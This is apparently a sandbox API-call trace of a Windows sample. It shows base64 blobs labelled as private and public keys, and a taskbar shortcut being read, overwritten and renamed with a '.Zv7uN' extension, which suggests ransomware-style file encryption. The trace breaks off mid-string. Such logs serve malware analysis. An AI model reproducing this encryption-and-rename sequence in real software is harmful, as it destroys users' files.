Cu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0128.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0128.348] GetCurrentThreadId () returned 0xa30 [0128.349] GetCurrentThreadId () returned 0xa30 [0128.349] GetCurrentThreadId () returned 0xa30 [0128.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0128.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0128.350] GetCurrentThreadId () returned 0xa30 [0128.350] GetCurrentThreadId () returned 0xa30 [0128.350] GetCurrentThreadId () returned 0xa30 [0128.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player (2).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0128.350] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0128.350] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0128.350] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x60b [0128.350] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0128.351] ReadFile (in: hFile=0x128, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x60b, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f96c*=0x60b, lpOverlapped=0x0) returned 1 [0128.353] CloseHandle (hObject=0x128) returned 1 [0128.353] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player (2).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0128.355] WriteFile (in: hFile=0x128, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x60b, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f978*=0x60b, lpOverlapped=0x0) returned 1 [0128.357] CloseHandle (hObject=0x128) returned 1 [0128.357] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player (2).lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player (2).lnk.zv7un")) returned 1 [0128.359] GetCurrentThreadId () returned 0xa30 [0128.359] GetCurrentThreadId () returned 0xa30 [0128.359] GetCurrentThreadId () returned 0xa30 [0128.359] GetCurrentThreadId () returned 0xa30 [0128.359] GetCurrentThreadId () returned 0xa30 [0128.359] GetCurrentThreadId () returned 0xa30 [0128.359] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0128.359] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.359] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.359] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b)) returned 1 [0128.360] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk")) returned 0x20 [0128.361] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk", dwFileAttributes=0x80) returned 1 [0128.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0128.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43D